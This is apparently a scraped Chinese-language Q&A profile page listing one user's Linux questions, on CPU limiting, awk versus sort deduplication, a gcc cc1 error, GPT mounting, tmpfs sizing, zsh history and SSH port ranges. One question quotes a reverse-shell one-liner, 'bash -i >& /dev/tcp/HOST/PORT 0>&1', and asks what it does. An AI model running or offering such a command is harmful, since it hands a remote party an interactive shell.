小编Pau*_*omé的帖子

是否可以限制进程可以占用多少 CPU 功率?

我想知道,有没有办法告诉进程它可以占用多少处理器能力?

问题是我正在使用Arista(视频转换器)转换视频,我对疯狂运行的风扇感到恼火,当我查看任务监视器时,它占用了超过 92% 的 CPU。

我可以(以某种方式)告诉它只需要 20% 吗?

谢谢

cpu cpulimit

17
推荐指数
2
解决办法
1911
查看次数

bash -i >& /dev/tcp/HOST/PORT 0>&1 的含义?

我试过

bash -i >& /dev/tcp/HOST/PORT 0>&1
Run Code Online (Sandbox Code Playgroud)

但它似乎在防火墙后面不起作用。这段代码实际上做了什么,转发了哪些端口,它可以在防火墙后面工作吗?

bash firewall io-redirection tcp

17
推荐指数
1
解决办法
2万
查看次数

删除大型词表中重复项的最快方法?

我需要对一个大型词表进行重复数据删除。我尝试了几个命令,并在 Linux中的Fastest `uniq` 工具如何删除大型多 GB 文本文件中的重复行做了一些研究他们解释说,对单词列表进行重复数据删除的最快方法似乎是使用awk.

awk  --> O(n) ?
sort --> O(n log n) ?
Run Code Online (Sandbox Code Playgroud)

然而,我发现这似乎不是真的。以下是我的测试结果:

time sort -u input.txt -o output.txt 
real    0m12.446s  
user    0m11.347s  
sys 0m0.906s**


time awk '!x[$0]++' input.txt > output.txt
real    0m47.221s  
user    0m45.419s  
sys 0m1.260s
Run Code Online (Sandbox Code Playgroud)

所以使用sort -u速度快了 3.7 倍。为什么是这样?有没有更快的方法来进行重复数据删除?

*********** 更新 ********

正如有人在评论中指出的那样,我的词表可能已经在某种程度上进行了排序。为了排除这种可能性,我使用random_number_wordlist_generator.py生成了两个词表。

List1 = 7 Mb  
List2 = 690 Mb

**Results AWK:**  
***List1***  
real    0m1.643s  
user    0m1.565s  
sys     0m0.062s …
Run Code Online (Sandbox Code Playgroud)

performance bash awk sort

14
推荐指数
1
解决办法
2474
查看次数

试图执行“cc1”的 GCC 错误

我正在笔记本电脑(运行 debian 7)上为我的 Raspberry Pi 交叉编译 Linux 内核(按照Raspberry Pi Kernel Compilation 中的说明进行操作);但是在编译时

make ARCH=arm CROSS_COMPILE=${CCPREFIX}
Run Code Online (Sandbox Code Playgroud)

我收到以下消息:

  CHK     include/linux/version.h
  CHK     include/generated/utsrelease.h
make[1]: `include/generated/mach-types.h' is up to date.
  CC      kernel/bounds.s
gcc: error trying to exec 'cc1': execvp: No such file or directory
make[1]: *** [kernel/bounds.s] Error 1
make: *** [prepare0] Error 2
Run Code Online (Sandbox Code Playgroud)

我认为问题是找不到 cc1 或者gcc没有正确安装(所以我重新安装了 gccapt-get --reinstall install gcc但没有运气)。

gcc -v 给出:

Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/i486-linux-gnu/4.7/lto-wrapper
Target: i486-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-5' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs …
Run Code Online (Sandbox Code Playgroud)

make gcc cross-compilation

12
推荐指数
1
解决办法
3万
查看次数

挂载 GPT 磁盘分区时出现问题

我正在尝试在 GPT 磁盘上挂载分区,但出现以下错误:

$ sudo mount -t ext4 /dev/sda1 disk/
mount: special device /dev/sda1 does not exist
Run Code Online (Sandbox Code Playgroud)

查看 dmesg,我在 /dev/sda 上没有看到任何错误:

$ dmesg | grep sda
[    1.367508] sd 0:0:0:0: [sda] 5860533168 512-byte logical blocks: (3.00 TB/2.72 TiB)
[    1.367514] sd 0:0:0:0: [sda] 4096-byte physical blocks
[    1.367607] sd 0:0:0:0: [sda] Write Protect is off
[    1.367611] sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00
[    1.367654] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO …
Run Code Online (Sandbox Code Playgroud)

partition fdisk hard-disk gpt

12
推荐指数
1
解决办法
7万
查看次数

POSIX awk 对变量/printf 中的空字节的立场是什么?

printf根据 POSIX使用 awk 的函数打印空字节是否合法?该的POSIX标准awk似乎并没有明确提到这两种方式。现实世界的实现在行为方式上有所不同:

+$ gawk 'BEGIN { x = sprintf("\000"); print(length(x)); }'
1
+$ busybox awk 'BEGIN { x = sprintf("\000"); print(length(x)); }'
0
+$
Run Code Online (Sandbox Code Playgroud)

+$ gawk 'BEGIN { printf("\000"); }' | xxd
00000000: 00                                       .
+$ busybox awk 'BEGIN { printf("\000"); }' | xxd
+$
Run Code Online (Sandbox Code Playgroud)

这是在标准中的某处指定的吗?如果是,变量 ( x = sprintf("\000")) 和 printf ( printf("\000"))所需的行为是否相同?

standard awk posix

12
推荐指数
1
解决办法
631
查看次数

将 tmpfs 增加到超过物理内存有多安全?

我的服务器有 2GB RAM 和 120GB SSD,以及一些用于存储的 RAID 阵列。操作系统是 Debian 8 (Linux 3.16)。

我有一个 MySQL 密集型应用程序,它具有tmpdir= /run/mysqld,它是tmpfs由 Debian 配置的/etc/default/tmpfs

# Size limits.  Please see tmpfs(5) for details on how to configure
# tmpfs size limits.
TMPFS_SIZE=40%VM
Run Code Online (Sandbox Code Playgroud)

这曾经是20%VM,大约是 384M。我遇到了几个no space left on device,所以我将它增加到40%VM,但即使有大约 763M 它仍然太小。

现在我应该添加更多 RAM,但出于好奇,我想知道这里的限制。

  • /dev/sdd1安装在/有大约 50GB 可用空间,并且速度相当快(三星 850 EVO SSD)
  • /dev/sdd5 是我的swap分区,是3.7G(fdisk type ID是82)
  • TMPFS_SIZE设置为40%VM,意思/run是763M

现在我知道 tmpfs 可以交换,这对我来说很好。我希望 …

linux swap tmpfs

11
推荐指数
1
解决办法
4010
查看次数

为什么我会丢失 ZSH 历史记录?

每隔一段时间我就会发现我的zsh历史记录被截断了(或者可能完全丢失了,很难说),我必须从备份中恢复它。

例如,今天:

ls -lh ~/.zsh_history
-rw-------  1 stripe  staff    32K 21 Feb 10:20 /Users/stripe/.zsh_history
Run Code Online (Sandbox Code Playgroud)

但是在我几天前的备份中:

-rw-------@  1 stripe  staff  203K 17 Feb 22:36 /Volumes/Time Machine Backups/.../Users/stripe/.zsh_history
Run Code Online (Sandbox Code Playgroud)

我已经配置zsh为保存大量历史记录,所以这不应该是 shell 有意修剪文件的问题。

unsetopt share_history
setopt inc_append_history
setopt hist_ignore_all_dups
HISTSIZE=500000
SAVEHIST=$HISTSIZE
Run Code Online (Sandbox Code Playgroud)

有没有其他人经历过这种情况并找到了缓解它的方法?是否有一些zsh我不知道的春季大扫除功能?

command-history zsh oh-my-zsh macos

11
推荐指数
3
解决办法
3525
查看次数

emacs - 从剪贴板粘贴文本而不格式化

我在 macOS 上使用 Emacs 24。我在将代码从剪贴板粘贴到 Emacs 时遇到了一些问题。我通常选择的代码格式很好(带有制表符、缩进……)。

但是,当我将其粘贴到 Emacs 时,这会重做格式,因此对于数千行代码来说速度非常慢。

有没有办法从剪贴板粘贴而不格式化?

keyboard-shortcuts emacs indentation clipboard macos

10
推荐指数
1
解决办法
2781
查看次数

如何在 ssh 配置中转发一系列端口?

我知道我可以通过以下方式在 ssh 配置文件中转发多个端口:

Host name
    HostName yam.myHost.edu
    User myUserName
    LocalForward 5901 127.0.0.1:5901
    LocalForward 5902 127.0.0.1:5902
    [...]
    LocalForward 5910 127.0.0.1:5910
Run Code Online (Sandbox Code Playgroud)

有没有更简单的方法来转发一系列端口而无需为端口添加额外的线路?像LocalForward 5901-5910 127.0.0.1:5901-5910什么?

ssh ssh-tunneling port-forwarding ssh-config

10
推荐指数
1
解决办法
5909
查看次数